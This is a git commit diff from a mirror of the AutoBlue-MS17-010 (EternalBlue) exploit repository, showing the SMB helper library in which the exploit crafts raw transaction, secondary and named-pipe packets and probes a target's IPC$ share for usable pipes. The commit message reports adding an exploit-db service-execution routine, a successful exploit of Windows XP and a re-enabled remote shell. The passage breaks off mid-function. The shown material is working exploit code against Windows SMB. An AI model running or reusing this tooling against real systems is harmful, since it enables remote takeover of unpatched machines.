mirror of
https://github.com/3ndG4me/AutoBlue-MS17-010
synced 2026-06-08 10:17:11 +00:00
Corrections for byte literals, spacing, minor function change, and updated the examples. (#22)
* Force byte literals where required and corrected the string.ascii_letters(). Also corrected the spacing to conform to the Python style guide (4 spaces and not tabs). * Force byte literals where required and removed all trailing whitespace. Added service_exec() from https://www.exploit-db.com/exploits/42315 and updated the examples in do_system_mysmb_session(). Confirmed to successfully exploit Windows XP. * Uncomment the RemoteShell() as it is confirmed to work by the upstream author.
This commit is contained in:
@@ -12,416 +12,415 @@ import logging
|
||||
|
||||
|
||||
def getNTStatus(self):
|
||||
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
|
||||
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
|
||||
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
|
||||
|
||||
############# SMB_COM_TRANSACTION_SECONDARY (0x26)
|
||||
class SMBTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
|
||||
structure = (
|
||||
('TotalParameterCount','<H=0'),
|
||||
('TotalDataCount','<H'),
|
||||
('ParameterCount','<H=0'),
|
||||
('ParameterOffset','<H=0'),
|
||||
('ParameterDisplacement','<H=0'),
|
||||
('DataCount','<H'),
|
||||
('DataOffset','<H'),
|
||||
('DataDisplacement','<H=0'),
|
||||
structure = (
|
||||
('TotalParameterCount','<H=0'),
|
||||
('TotalDataCount','<H'),
|
||||
('ParameterCount','<H=0'),
|
||||
('ParameterOffset','<H=0'),
|
||||
('ParameterDisplacement','<H=0'),
|
||||
('DataCount','<H'),
|
||||
('DataOffset','<H'),
|
||||
('DataDisplacement','<H=0'),
|
||||
)
|
||||
|
||||
# Note: impacket-0.9.15 struct has no ParameterDisplacement
|
||||
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
|
||||
class SMBTransaction2Secondary_Parameters(smb.SMBCommand_Parameters):
|
||||
structure = (
|
||||
('TotalParameterCount','<H=0'),
|
||||
('TotalDataCount','<H'),
|
||||
('ParameterCount','<H=0'),
|
||||
('ParameterOffset','<H=0'),
|
||||
('ParameterDisplacement','<H=0'),
|
||||
('DataCount','<H'),
|
||||
('DataOffset','<H'),
|
||||
('DataDisplacement','<H=0'),
|
||||
('FID','<H=0'),
|
||||
structure = (
|
||||
('TotalParameterCount','<H=0'),
|
||||
('TotalDataCount','<H'),
|
||||
('ParameterCount','<H=0'),
|
||||
('ParameterOffset','<H=0'),
|
||||
('ParameterDisplacement','<H=0'),
|
||||
('DataCount','<H'),
|
||||
('DataOffset','<H'),
|
||||
('DataDisplacement','<H=0'),
|
||||
('FID','<H=0'),
|
||||
)
|
||||
|
||||
############# SMB_COM_NT_TRANSACTION_SECONDARY (0xA1)
|
||||
class SMBNTTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
|
||||
structure = (
|
||||
('Reserved1','3s=""'),
|
||||
('TotalParameterCount','<L'),
|
||||
('TotalDataCount','<L'),
|
||||
('ParameterCount','<L'),
|
||||
('ParameterOffset','<L'),
|
||||
('ParameterDisplacement','<L=0'),
|
||||
('DataCount','<L'),
|
||||
('DataOffset','<L'),
|
||||
('DataDisplacement','<L=0'),
|
||||
('Reserved2','<B=0'),
|
||||
)
|
||||
structure = (
|
||||
('Reserved1','3s=""'),
|
||||
('TotalParameterCount','<L'),
|
||||
('TotalDataCount','<L'),
|
||||
('ParameterCount','<L'),
|
||||
('ParameterOffset','<L'),
|
||||
('ParameterDisplacement','<L=0'),
|
||||
('DataCount','<L'),
|
||||
('DataOffset','<L'),
|
||||
('DataDisplacement','<L=0'),
|
||||
('Reserved2','<B=0'),
|
||||
)
|
||||
|
||||
|
||||
def _put_trans_data(transCmd, parameters, data, noPad=False):
|
||||
# have to init offset before calling len()
|
||||
transCmd['Parameters']['ParameterOffset'] = 0
|
||||
transCmd['Parameters']['DataOffset'] = 0
|
||||
|
||||
# SMB header: 32 bytes
|
||||
# WordCount: 1 bytes
|
||||
# ByteCount: 2 bytes
|
||||
# Note: Setup length is included when len(param) is called
|
||||
offset = 32 + 1 + len(transCmd['Parameters']) + 2
|
||||
|
||||
transData = ''
|
||||
if len(parameters):
|
||||
padLen = 0 if noPad else (4 - offset % 4 ) % 4
|
||||
transCmd['Parameters']['ParameterOffset'] = offset + padLen
|
||||
transData = ('\x00' * padLen) + parameters
|
||||
offset += padLen + len(parameters)
|
||||
|
||||
if len(data):
|
||||
padLen = 0 if noPad else (4 - offset % 4 ) % 4
|
||||
transCmd['Parameters']['DataOffset'] = offset + padLen
|
||||
transData += ('\x00' * padLen) + data
|
||||
|
||||
transCmd['Data'] = transData
|
||||
|
||||
# have to init offset before calling len()
|
||||
transCmd['Parameters']['ParameterOffset'] = 0
|
||||
transCmd['Parameters']['DataOffset'] = 0
|
||||
|
||||
# SMB header: 32 bytes
|
||||
# WordCount: 1 bytes
|
||||
# ByteCount: 2 bytes
|
||||
# Note: Setup length is included when len(param) is called
|
||||
offset = 32 + 1 + len(transCmd['Parameters']) + 2
|
||||
|
||||
transData = b''
|
||||
if len(parameters):
|
||||
padLen = 0 if noPad else (4 - offset % 4 ) % 4
|
||||
transCmd['Parameters']['ParameterOffset'] = offset + padLen
|
||||
transData = (b'\x00' * padLen) + parameters
|
||||
offset += padLen + len(parameters)
|
||||
|
||||
if len(data):
|
||||
padLen = 0 if noPad else (4 - offset % 4 ) % 4
|
||||
transCmd['Parameters']['DataOffset'] = offset + padLen
|
||||
transData += (b'\x00' * padLen) + data
|
||||
|
||||
transCmd['Data'] = transData
|
||||
|
||||
|
||||
origin_NewSMBPacket_addCommand = getattr(smb.NewSMBPacket, "addCommand")
|
||||
login_MaxBufferSize = 61440
|
||||
def NewSMBPacket_addCommand_hook_login(self, command):
|
||||
# restore NewSMBPacket.addCommand
|
||||
setattr(smb.NewSMBPacket, "addCommand", origin_NewSMBPacket_addCommand)
|
||||
|
||||
if isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Extended_Parameters):
|
||||
command['Parameters']['MaxBufferSize'] = login_MaxBufferSize
|
||||
elif isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Parameters):
|
||||
command['Parameters']['MaxBuffer'] = login_MaxBufferSize
|
||||
|
||||
# call original one
|
||||
origin_NewSMBPacket_addCommand(self, command)
|
||||
# restore NewSMBPacket.addCommand
|
||||
setattr(smb.NewSMBPacket, "addCommand", origin_NewSMBPacket_addCommand)
|
||||
|
||||
if isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Extended_Parameters):
|
||||
command['Parameters']['MaxBufferSize'] = login_MaxBufferSize
|
||||
elif isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Parameters):
|
||||
command['Parameters']['MaxBuffer'] = login_MaxBufferSize
|
||||
|
||||
# call original one
|
||||
origin_NewSMBPacket_addCommand(self, command)
|
||||
|
||||
def _setup_login_packet_hook(maxBufferSize):
|
||||
# setup hook for next NewSMBPacket.addCommand if maxBufferSize is not None
|
||||
if maxBufferSize is not None:
|
||||
global login_MaxBufferSize
|
||||
login_MaxBufferSize = maxBufferSize
|
||||
setattr(smb.NewSMBPacket, "addCommand", NewSMBPacket_addCommand_hook_login)
|
||||
# setup hook for next NewSMBPacket.addCommand if maxBufferSize is not None
|
||||
if maxBufferSize is not None:
|
||||
global login_MaxBufferSize
|
||||
login_MaxBufferSize = maxBufferSize
|
||||
setattr(smb.NewSMBPacket, "addCommand", NewSMBPacket_addCommand_hook_login)
|
||||
|
||||
|
||||
class MYSMB(smb.SMB):
|
||||
def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
|
||||
self.__use_ntlmv2 = use_ntlmv2
|
||||
self._default_tid = 0
|
||||
self._pid = os.getpid() & 0xffff
|
||||
self._last_mid = random.randint(1000, 20000)
|
||||
if 0x4000 <= self._last_mid <= 0x4110:
|
||||
self._last_mid += 0x120
|
||||
self._pkt_flags2 = 0
|
||||
self._last_tid = 0 # last tid from connect_tree()
|
||||
self._last_fid = 0 # last fid from nt_create_andx()
|
||||
self._smbConn = None
|
||||
smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
|
||||
def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
|
||||
self.__use_ntlmv2 = use_ntlmv2
|
||||
self._default_tid = 0
|
||||
self._pid = os.getpid() & 0xffff
|
||||
self._last_mid = random.randint(1000, 20000)
|
||||
if 0x4000 <= self._last_mid <= 0x4110:
|
||||
self._last_mid += 0x120
|
||||
self._pkt_flags2 = 0
|
||||
self._last_tid = 0 # last tid from connect_tree()
|
||||
self._last_fid = 0 # last fid from nt_create_andx()
|
||||
self._smbConn = None
|
||||
smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
|
||||
|
||||
def find_named_pipe(self, firstOnly=True):
|
||||
pipes_file = '/usr/share/metasploit-framework/data/wordlists/named_pipes.txt'
|
||||
try:
|
||||
with open(pipes_file) as f:
|
||||
pipes = [ x.strip() for x in f.readlines()]
|
||||
except IOError as e:
|
||||
print("[-] Could not open {}, trying hardcoded values".format(pipes_file))
|
||||
pipes = [ 'netlogon', 'lsarpc', 'samr', 'browser', 'spoolss', 'atsvc', 'DAV RPC SERVICE', 'epmapper', 'eventlog', 'InitShutdown', 'keysvc', 'lsass', 'LSM_API_service', 'ntsvcs', 'plugplay', 'protected_storage', 'router', 'SapiServerPipeS-1-5-5-0-70123', 'scerpc', 'srvsvc', 'tapsrv', 'trkwks', 'W32TIME_ALT', 'wkssvc','PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' ]
|
||||
tid = self.tree_connect_andx('\\\\'+self.get_remote_host()+'\\'+'IPC$')
|
||||
found_pipes = []
|
||||
for pipe in pipes:
|
||||
try:
|
||||
fid = self.nt_create_andx(tid, pipe)
|
||||
self.close(tid, fid)
|
||||
found_pipes.append(pipe)
|
||||
print("[+] Found pipe '{}'".format(pipe))
|
||||
if firstOnly:
|
||||
break
|
||||
except smb.SessionError as e:
|
||||
pass
|
||||
self.disconnect_tree(tid)
|
||||
if len(found_pipes) > 0:
|
||||
return found_pipes[0]
|
||||
else:
|
||||
return None
|
||||
def find_named_pipe(self, firstOnly=True):
|
||||
pipes_file = '/usr/share/metasploit-framework/data/wordlists/named_pipes.txt'
|
||||
try:
|
||||
with open(pipes_file) as f:
|
||||
pipes = [ x.strip() for x in f.readlines()]
|
||||
except IOError as e:
|
||||
print("[-] Could not open {}, trying hardcoded values".format(pipes_file))
|
||||
pipes = [ 'netlogon', 'lsarpc', 'samr', 'browser', 'spoolss', 'atsvc', 'DAV RPC SERVICE', 'epmapper', 'eventlog', 'InitShutdown', 'keysvc', 'lsass', 'LSM_API_service', 'ntsvcs', 'plugplay', 'protected_storage', 'router', 'SapiServerPipeS-1-5-5-0-70123', 'scerpc', 'srvsvc', 'tapsrv', 'trkwks', 'W32TIME_ALT', 'wkssvc','PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' ]
|
||||
tid = self.tree_connect_andx('\\\\'+self.get_remote_host()+'\\'+'IPC$')
|
||||
found_pipes = []
|
||||
for pipe in pipes:
|
||||
try:
|
||||
fid = self.nt_create_andx(tid, pipe)
|
||||
self.close(tid, fid)
|
||||
found_pipes.append(pipe)
|
||||
print("[+] Found pipe '{}'".format(pipe))
|
||||
if firstOnly:
|
||||
break
|
||||
except smb.SessionError as e:
|
||||
pass
|
||||
self.disconnect_tree(tid)
|
||||
if len(found_pipes) > 0:
|
||||
return found_pipes[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
def set_pid(self, pid):
|
||||
self._pid = pid
|
||||
|
||||
def set_pid(self, pid):
|
||||
self._pid = pid
|
||||
def get_pid(self):
|
||||
return self._pid
|
||||
|
||||
def get_pid(self):
|
||||
return self._pid
|
||||
def set_last_mid(self, mid):
|
||||
self._last_mid = mid
|
||||
|
||||
def set_last_mid(self, mid):
|
||||
self._last_mid = mid
|
||||
def next_mid(self):
|
||||
self._last_mid += random.randint(1, 20)
|
||||
if 0x4000 <= self._last_mid <= 0x4110:
|
||||
self._last_mid += 0x120
|
||||
return self._last_mid
|
||||
|
||||
def next_mid(self):
|
||||
self._last_mid += random.randint(1, 20)
|
||||
if 0x4000 <= self._last_mid <= 0x4110:
|
||||
self._last_mid += 0x120
|
||||
return self._last_mid
|
||||
def get_smbconnection(self):
|
||||
if self._smbConn is None:
|
||||
self.smbConn = smbconnection.SMBConnection(self.get_remote_host(), self.get_remote_host(), existingConnection=self)
|
||||
return self.smbConn
|
||||
|
||||
def get_smbconnection(self):
|
||||
if self._smbConn is None:
|
||||
self.smbConn = smbconnection.SMBConnection(self.get_remote_host(), self.get_remote_host(), existingConnection=self)
|
||||
return self.smbConn
|
||||
def get_dce_rpc(self, named_pipe):
|
||||
smbConn = self.get_smbconnection()
|
||||
rpctransport = transport.SMBTransport(self.get_remote_host(), self.get_remote_host(), filename='\\'+named_pipe, smb_connection=smbConn)
|
||||
return rpctransport.get_dce_rpc()
|
||||
|
||||
def get_dce_rpc(self, named_pipe):
|
||||
smbConn = self.get_smbconnection()
|
||||
rpctransport = transport.SMBTransport(self.get_remote_host(), self.get_remote_host(), filename='\\'+named_pipe, smb_connection=smbConn)
|
||||
return rpctransport.get_dce_rpc()
|
||||
# override SMB.neg_session() to allow forcing ntlm authentication
|
||||
def neg_session(self, extended_security=True, negPacket=None):
|
||||
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
|
||||
|
||||
# override SMB.neg_session() to allow forcing ntlm authentication
|
||||
def neg_session(self, extended_security=True, negPacket=None):
|
||||
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
|
||||
# to use any login method, SMB must not be used from multiple thread
|
||||
def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None):
|
||||
_setup_login_packet_hook(maxBufferSize)
|
||||
smb.SMB.login(self, user, password, domain, lmhash, nthash)
|
||||
|
||||
# to use any login method, SMB must not be used from multiple thread
|
||||
def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None):
|
||||
_setup_login_packet_hook(maxBufferSize)
|
||||
smb.SMB.login(self, user, password, domain, lmhash, nthash)
|
||||
def login_standard(self, user, password, domain='', lmhash='', nthash='', maxBufferSize=None):
|
||||
_setup_login_packet_hook(maxBufferSize)
|
||||
smb.SMB.login_standard(self, user, password, domain, lmhash, nthash)
|
||||
|
||||
def login_standard(self, user, password, domain='', lmhash='', nthash='', maxBufferSize=None):
|
||||
_setup_login_packet_hook(maxBufferSize)
|
||||
smb.SMB.login_standard(self, user, password, domain, lmhash, nthash)
|
||||
def login_extended(self, user, password, domain='', lmhash='', nthash='', use_ntlmv2=True, maxBufferSize=None):
|
||||
_setup_login_packet_hook(maxBufferSize)
|
||||
smb.SMB.login_extended(self, user, password, domain, lmhash, nthash, use_ntlmv2)
|
||||
|
||||
def login_extended(self, user, password, domain='', lmhash='', nthash='', use_ntlmv2=True, maxBufferSize=None):
|
||||
_setup_login_packet_hook(maxBufferSize)
|
||||
smb.SMB.login_extended(self, user, password, domain, lmhash, nthash, use_ntlmv2)
|
||||
def connect_tree(self, path, password=None, service=smb.SERVICE_ANY, smb_packet=None):
|
||||
self._last_tid = smb.SMB.tree_connect_andx(self, path, password, service, smb_packet)
|
||||
return self._last_tid
|
||||
|
||||
def connect_tree(self, path, password=None, service=smb.SERVICE_ANY, smb_packet=None):
|
||||
self._last_tid = smb.SMB.tree_connect_andx(self, path, password, service, smb_packet)
|
||||
return self._last_tid
|
||||
def get_last_tid(self):
|
||||
return self._last_tid
|
||||
|
||||
def get_last_tid(self):
|
||||
return self._last_tid
|
||||
def nt_create_andx(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=smb.FILE_SHARE_READ|smb.FILE_SHARE_WRITE, disposition=smb.FILE_OPEN, accessMask=0x2019f):
|
||||
self._last_fid = smb.SMB.nt_create_andx(self, tid, filename, smb_packet, cmd, shareAccessMode, disposition, accessMask)
|
||||
return self._last_fid
|
||||
|
||||
def nt_create_andx(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=smb.FILE_SHARE_READ|smb.FILE_SHARE_WRITE, disposition=smb.FILE_OPEN, accessMask=0x2019f):
|
||||
self._last_fid = smb.SMB.nt_create_andx(self, tid, filename, smb_packet, cmd, shareAccessMode, disposition, accessMask)
|
||||
return self._last_fid
|
||||
def get_last_fid(self):
|
||||
return self._last_fid
|
||||
|
||||
def get_last_fid(self):
|
||||
return self._last_fid
|
||||
def set_default_tid(self, tid):
|
||||
self._default_tid = tid
|
||||
|
||||
def set_default_tid(self, tid):
|
||||
self._default_tid = tid
|
||||
def set_pkt_flags2(self, flags):
|
||||
self._pkt_flags2 = flags
|
||||
|
||||
def set_pkt_flags2(self, flags):
|
||||
self._pkt_flags2 = flags
|
||||
def send_echo(self, data):
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt['Tid'] = self._default_tid
|
||||
|
||||
def send_echo(self, data):
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt['Tid'] = self._default_tid
|
||||
|
||||
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
|
||||
transCommand['Parameters'] = smb.SMBEcho_Parameters()
|
||||
transCommand['Data'] = smb.SMBEcho_Data()
|
||||
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
|
||||
transCommand['Parameters'] = smb.SMBEcho_Parameters()
|
||||
transCommand['Data'] = smb.SMBEcho_Data()
|
||||
|
||||
transCommand['Parameters']['EchoCount'] = 1
|
||||
transCommand['Data']['Data'] = data
|
||||
pkt.addCommand(transCommand)
|
||||
transCommand['Parameters']['EchoCount'] = 1
|
||||
transCommand['Data']['Data'] = data
|
||||
pkt.addCommand(transCommand)
|
||||
|
||||
self.sendSMB(pkt)
|
||||
return self.recvSMB()
|
||||
self.sendSMB(pkt)
|
||||
return self.recvSMB()
|
||||
|
||||
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None, tid=None):
|
||||
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
|
||||
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
|
||||
writeAndX['Parameters']['Fid'] = fid
|
||||
writeAndX['Parameters']['Offset'] = 0
|
||||
writeAndX['Parameters']['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE
|
||||
writeAndX['Parameters']['Remaining'] = 12345 # can be any. raw named pipe does not use it
|
||||
writeAndX['Parameters']['DataLength'] = len(data)
|
||||
writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
|
||||
writeAndX['Data'] = '\x00' + data # pad 1 byte
|
||||
|
||||
self.send_raw(self.create_smb_packet(writeAndX, mid, pid, tid))
|
||||
return self.recvSMB()
|
||||
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None, tid=None):
|
||||
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
|
||||
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
|
||||
writeAndX['Parameters']['Fid'] = fid
|
||||
writeAndX['Parameters']['Offset'] = 0
|
||||
writeAndX['Parameters']['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE
|
||||
writeAndX['Parameters']['Remaining'] = 12345 # can be any. raw named pipe does not use it
|
||||
writeAndX['Parameters']['DataLength'] = len(data)
|
||||
writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
|
||||
writeAndX['Data'] = '\x00' + data # pad 1 byte
|
||||
|
||||
def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
|
||||
if mid is None:
|
||||
mid = self.next_mid()
|
||||
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt.addCommand(smbReq)
|
||||
pkt['Tid'] = self._default_tid if tid is None else tid
|
||||
pkt['Uid'] = self._uid
|
||||
pkt['Pid'] = self._pid if pid is None else pid
|
||||
pkt['Mid'] = mid
|
||||
flags1, flags2 = self.get_flags()
|
||||
pkt['Flags1'] = flags1
|
||||
pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2
|
||||
|
||||
if self._SignatureEnabled:
|
||||
pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
|
||||
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
|
||||
|
||||
req = pkt.getData()
|
||||
return b'\x00'*2 + pack('>H', len(req)) + req
|
||||
self.send_raw(self.create_smb_packet(writeAndX, mid, pid, tid))
|
||||
return self.recvSMB()
|
||||
|
||||
def send_raw(self, data):
|
||||
self.get_socket().send(data)
|
||||
def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
|
||||
if mid is None:
|
||||
mid = self.next_mid()
|
||||
|
||||
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
if maxSetupCount is None:
|
||||
maxSetupCount = len(setup)
|
||||
if totalParameterCount is None:
|
||||
totalParameterCount = len(param)
|
||||
if totalDataCount is None:
|
||||
totalDataCount = len(data)
|
||||
if maxParameterCount is None:
|
||||
maxParameterCount = totalParameterCount
|
||||
if maxDataCount is None:
|
||||
maxDataCount = totalDataCount
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION)
|
||||
transCmd['Parameters'] = smb.SMBTransaction_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
|
||||
transCmd['Parameters']['TotalDataCount'] = totalDataCount
|
||||
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
|
||||
transCmd['Parameters']['MaxDataCount'] = maxDataCount
|
||||
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
|
||||
transCmd['Parameters']['Flags'] = 0
|
||||
transCmd['Parameters']['Timeout'] = 0xffffffff
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['Setup'] = setup
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt.addCommand(smbReq)
|
||||
pkt['Tid'] = self._default_tid if tid is None else tid
|
||||
pkt['Uid'] = self._uid
|
||||
pkt['Pid'] = self._pid if pid is None else pid
|
||||
pkt['Mid'] = mid
|
||||
flags1, flags2 = self.get_flags()
|
||||
pkt['Flags1'] = flags1
|
||||
pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2
|
||||
|
||||
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
|
||||
return self.recvSMB()
|
||||
if self._SignatureEnabled:
|
||||
pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
|
||||
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
|
||||
|
||||
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
|
||||
transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||
transCmd['Parameters']['TotalDataCount'] = len(data)
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
req = pkt.getData()
|
||||
return b'\x00'*2 + pack('>H', len(req)) + req
|
||||
|
||||
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
def send_raw(self, data):
|
||||
self.get_socket().send(data)
|
||||
|
||||
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
if maxSetupCount is None:
|
||||
maxSetupCount = len(setup)
|
||||
if totalParameterCount is None:
|
||||
totalParameterCount = len(param)
|
||||
if totalDataCount is None:
|
||||
totalDataCount = len(data)
|
||||
if maxParameterCount is None:
|
||||
maxParameterCount = totalParameterCount
|
||||
if maxDataCount is None:
|
||||
maxDataCount = totalDataCount
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
|
||||
transCmd['Parameters'] = smb.SMBTransaction2_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
|
||||
transCmd['Parameters']['TotalDataCount'] = totalDataCount
|
||||
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
|
||||
transCmd['Parameters']['MaxDataCount'] = maxDataCount
|
||||
transCmd['Parameters']['MaxSetupCount'] = len(setup)
|
||||
transCmd['Parameters']['Flags'] = 0
|
||||
transCmd['Parameters']['Timeout'] = 0xffffffff
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['Setup'] = setup
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
if maxSetupCount is None:
|
||||
maxSetupCount = len(setup)
|
||||
if totalParameterCount is None:
|
||||
totalParameterCount = len(param)
|
||||
if totalDataCount is None:
|
||||
totalDataCount = len(data)
|
||||
if maxParameterCount is None:
|
||||
maxParameterCount = totalParameterCount
|
||||
if maxDataCount is None:
|
||||
maxDataCount = totalDataCount
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION)
|
||||
transCmd['Parameters'] = smb.SMBTransaction_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
|
||||
transCmd['Parameters']['TotalDataCount'] = totalDataCount
|
||||
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
|
||||
transCmd['Parameters']['MaxDataCount'] = maxDataCount
|
||||
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
|
||||
transCmd['Parameters']['Flags'] = 0
|
||||
transCmd['Parameters']['Timeout'] = 0xffffffff
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['Setup'] = setup
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||
transCmd['Parameters']['TotalDataCount'] = len(data)
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
|
||||
return self.recvSMB()
|
||||
|
||||
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
|
||||
transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||
transCmd['Parameters']['TotalDataCount'] = len(data)
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||
|
||||
